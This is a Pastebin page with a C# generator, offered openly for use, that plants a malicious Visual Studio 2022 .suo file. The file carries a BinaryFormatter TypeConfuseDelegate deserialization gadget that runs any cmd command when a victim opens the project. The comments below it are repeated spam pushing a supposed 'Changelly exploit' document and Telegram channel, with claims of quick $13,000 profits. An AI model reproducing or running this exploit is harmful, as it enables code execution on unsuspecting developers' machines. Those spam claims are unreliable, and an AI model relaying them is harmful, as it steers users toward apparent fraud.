Guest User

VS SUO Exploit

a guest
May 16th, 2025
678
1
Never
12
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 10.34 KB | Cybersecurity | 1 0
  1. using System;
  2. using System.Collections.Generic;
  3. using Microsoft.VisualStudio.CommonIDE.Solutions;
  4. using Microsoft.VisualStudio.Threading;
  5. using Microsoft.VisualStudio.Shell.Interop;
  6. using Microsoft.Internal.VisualStudio.Shell;
  7. using System.Reflection;
  8. using System.IO;
  9. using Microsoft.VisualStudio.OLE.Interop;
  10. using System.Runtime.Serialization.Formatters.Binary;
  11. using System.Diagnostics;
  12. using System.Runtime.Remoting.Messaging;
  13.  
  14. namespace VsSUOPwn
  15. {
  16.     //#############################################################################################
  17.     //#                                                                        ______     ______
  18.     //#                                                                       /      \   /      \
  19.     //#      from OC with love <3 <3 <3                                      |  _     | |  _     |
  20.     //#                                                                      | |_|    | | |_|    |
  21.     //#                                                                       \______/   \______/
  22.     //#
  23.     //#=========================  Visual Studio 2022 SLN exploit generator  =======================
  24.     //#
  25.     //#      Did you know that opening a project in Visual Studio can trigger code execution?
  26.     //#      
  27.     //#      This project below gives you a manipulated '.suo' file that will demonstrate the vuln
  28.     //#       https://github.com/aels/EvilSln-vs-code-exec
  29.     //#      they also explain how it works but didn't release the code to build your own payload.
  30.     //#      
  31.     //#      Luckily Microsoft said that
  32.     //#      'Opening a Visual Studio project is an insecure operation, as documented here [...]'
  33.     //#      We're all safe, because it isn't a security boundary. Phew!!!
  34.     //#      
  35.     //#      So, to celebrate that this bug still exists, here's some code that let's you put
  36.     //#      arbitrary payloads. If you're feeling fancy you can replace what 'GeneratePayload'
  37.     //#      returns to any of the standard deserialization gadgets for BinaryFormatter.
  38.     //#      See https://github.com/pwntester/ysoserial.net
  39.     //#      
  40.     //#      Now you don't have to write the exploit yourself ;)
  41.     //#
  42.     //#      You'll have to add the following references to build:
  43.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\Microsoft.VisualStudio.dll
  44.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PrivateAssemblies\Microsoft.VisualStudio.CommonIDE.dll
  45.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\Microsoft.VisualStudio.ImageCatalog.dll
  46.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Interop.dll
  47.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.15.0.dll
  48.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.Framework.dll
  49.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Shell.Interop.dll
  50.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PrivateAssemblies\Microsoft.VisualStudio.SolutionPersistence.dll
  51.     //#      - Microsoft Visual Studio\2022\Community\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.Threading.17.x\Microsoft.VisualStudio.Threading.dll
  52.     //#
  53.     //#      It can take a little bit to trigger, opening the project properties typically triggers it immediately in those cases.
  54.     //#############################################################################################
  55.     internal class PersistOpts : IVsPersistSolutionOpts
  56.     {
  57.         internal string cmd;
  58.         public PersistOpts(string cmd)
  59.         {
  60.             this.cmd = cmd;
  61.         }
  62.         public int SaveUserOptions(IVsSolutionPersistence pPersistence)
  63.         {
  64.             throw new NotImplementedException();
  65.         }
  66.  
  67.         public int LoadUserOptions(IVsSolutionPersistence pPersistence, uint grfLoadOpts)
  68.         {
  69.             throw new NotImplementedException();
  70.         }
  71.  
  72.         public int WriteUserOptions(IStream pOptionsStream, string pszKey)
  73.         {
  74.             Console.WriteLine(String.Format("Injecting into options for\"{0}\"", pszKey));
  75.  
  76.             MemoryStream mem = new MemoryStream();
  77.             BinaryFormatter formatter = new BinaryFormatter();
  78.             formatter.Serialize(mem, GeneratePayload(this.cmd));
  79.             mem.Position = 0;
  80.  
  81.             byte[] data = mem.ToArray();
  82.  
  83.             DataStreamFromComStream stream = new DataStreamFromComStream(pOptionsStream);
  84.  
  85.             BinaryWriter writer = new BinaryWriter(stream);
  86.             //See VsToolboxService.LoadOptions
  87.             writer.Write(1); //one entry
  88.             writer.Write("dummy"); //name doesn't matter
  89.             writer.Write(1); //one subentry
  90.             writeLinkText(writer); //those also don't matter, deserialization happens before they are checked
  91.  
  92.             writer.Write(data);
  93.             writer.Flush();
  94.             Console.WriteLine("Wrote payload");
  95.             return 0;
  96.         }
  97.  
  98.         void writeLinkText(BinaryWriter writer)
  99.         {
  100.             //See VsToolboxService.LinkManager.Read
  101.             writer.Write("DoesNotExist");
  102.             writer.Write("DoesNotExist");
  103.         }
  104.  
  105.         public int ReadUserOptions(IStream pOptionsStream, string pszKey)
  106.         {
  107.             throw new NotImplementedException();
  108.         }
  109.  
  110.         static object GeneratePayload(string cmd)
  111.         {
  112.             Comparison<string> c = new Comparison<string>(string.Compare);
  113.             var c2 = Func<string, string, int>.Combine(c, c);
  114.             TypeConfuseDelegate(c2, new Func<string, string, Process>(Process.Start));
  115.             Comparison<string> c3 = (Comparison<string>)c2;
  116.             SortedSet<string> s = new SortedSet<string>(new string[] { "cmd", string.Format("/c \"{0}\"",cmd)});
  117.             FieldInfo fi = typeof(SortedSet<string>).GetField("comparer",
  118.                 BindingFlags.NonPublic | BindingFlags.Instance);
  119.             fi.SetValue(s, Comparer<string>.Create(c3));
  120.             return s;
  121.         }
  122.  
  123.         //Runtime aware TypeConfuseDelegate Gadget
  124.         static void TypeConfuseDelegate(Delegate handler, Delegate target)
  125.         {
  126.             FieldInfo fi;
  127.             fi = typeof(MulticastDelegate).GetField("_invocationList",
  128.                 BindingFlags.NonPublic | BindingFlags.Instance);
  129.             object[] invoke_list = handler.GetInvocationList();
  130.             invoke_list[1] = target;
  131.             fi.SetValue(handler, invoke_list);
  132.         }
  133.     }
  134.     internal class Program
  135.     {
  136.         static void Main(string[] args)
  137.         {
  138.             var self_name = Assembly.GetEntryAssembly().GetName().Name;
  139.             if(args.Length < 2)
  140.             {
  141.                 Console.WriteLine(string.Format("Usage: {0} $outpath $cmd", self_name));
  142.                 Console.WriteLine(string.Format("Example: \"{0} ../../../.vs/{0}/v17/.suo calc\" will spawn calc next time you open the project", self_name));
  143.                 return;
  144.             }
  145.  
  146.             var outpath = args[0];
  147.             var cmd = args[1];
  148.  
  149.             Console.WriteLine(string.Format("Generating \"{0}\" payload, writing to {1}",cmd, outpath));
  150.  
  151.             //Yes, this was a pain in the ass to set up because of all of the global variables in VS
  152.             JoinableTaskContext ctx = new JoinableTaskContext();
  153.             Type ThreadHelper = typeof(Microsoft.VisualStudio.Shell.ThreadHelper);
  154.             FieldInfo joinableTaskContextField = ThreadHelper.GetField("_joinableTaskContextCache", BindingFlags.NonPublic|BindingFlags.Static);
  155.             joinableTaskContextField.SetValue(null, ctx);
  156.  
  157.             Assembly assembly = Assembly.GetAssembly(typeof(SolutionLoadOptions));
  158.             Type SolutionPersistence = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPersistenceOld");
  159.             MethodBase loadPackageUserOpts = SolutionPersistence.GetMethod("OpenOptStorage");
  160.             MethodBase openOptStorage = SolutionPersistence.GetMethod("OpenOptStorage");
  161.  
  162.             Type Solution = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.Solution");
  163.             Type SolutionPackage = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.Packaging.SolutionPackage");
  164.             ConstructorInfo solution_ctor = Solution.GetConstructor(BindingFlags.NonPublic|BindingFlags.Instance,null, new Type[] { SolutionPackage },null);
  165.             ConstructorInfo solution_package_ctor = SolutionPackage.GetConstructor(new Type[] { });
  166.  
  167.             object solution_package = solution_package_ctor.Invoke(new object[] { });
  168.  
  169.             object dummy_solution = solution_ctor.Invoke(new object[] { solution_package });
  170.             FieldInfo global_solution_field = Solution.GetField("g_pTheSolution", BindingFlags.NonPublic|BindingFlags.Static);
  171.             global_solution_field.SetValue(null, dummy_solution);
  172.             PropertyInfo UserOptionsFileName = Solution.GetProperty("UserOptionsFileName");
  173.             PropertyInfo BackgroundSolutionServiceProperty = Solution.GetProperty("BackgroundSolutionService", BindingFlags.Instance|BindingFlags.NonPublic);
  174.  
  175.             var backgroundSolutionService = BackgroundSolutionServiceProperty.GetValue(dummy_solution);
  176.             Type BackgroundSolutionService = backgroundSolutionService.GetType();
  177.             BackgroundSolutionService.GetProperty("IsSolutionOpen").SetValue(backgroundSolutionService, true);
  178.  
  179.             Type StorageEntry = assembly.GetType("Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPersistence+StorageEntry");
  180.  
  181.             ConstructorInfo solutionPersistenceCtor = SolutionPersistence.GetConstructor(new Type[] { typeof(JoinableTaskContext) });
  182.  
  183.             object persistence_obj = solutionPersistenceCtor.Invoke(new object[] { ctx });
  184.  
  185.             string suo_path = outpath;
  186.             if(!File.Exists(suo_path))
  187.             {
  188.                 Console.WriteLine("Warning: suo file does not exist");
  189.             }
  190.  
  191.             UserOptionsFileName.SetValue(dummy_solution, suo_path);
  192.  
  193.             MethodInfo SavePackageUserOpts = SolutionPersistence.GetMethod("SavePackageUserOpts");
  194.  
  195.             var save_opts = new PersistOpts(cmd);
  196.  
  197.             SavePackageUserOpts.Invoke(persistence_obj, new object[] { save_opts, "VsToolboxService" });
  198.         }
  199.     }
  200. }
  201.  
Advertisement
Comments
  • User was banned
  • Niksazak
    190 days
    # CSS 0.83 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1S1iTruSLkgEPO8QtTuo2twS4f2FoJ3_l0-p4GKqeAUY/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8.  
    9. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    10.  
    11. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification).
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • Haltorav
    22 days
    # CSS 1.04 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. So apparently the Changelly node panel allows you to load an older node that has a bug in the exchange rate. The funny thing is that it uses a simple password, "admin," to access it.
    6.  
    7. This made me $13,000 in 2 days.
    8.  
    9. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 50% — they will simply correct the exchange rate.
    10.  
    11. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    12.  
    13. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from Changelly — instant swap).
  • Ornlimed
    7 days
    # CSS 0.44 KB | 0 0
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • Wevimur
    6 days
    # CSS 0.44 KB | 0 0
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment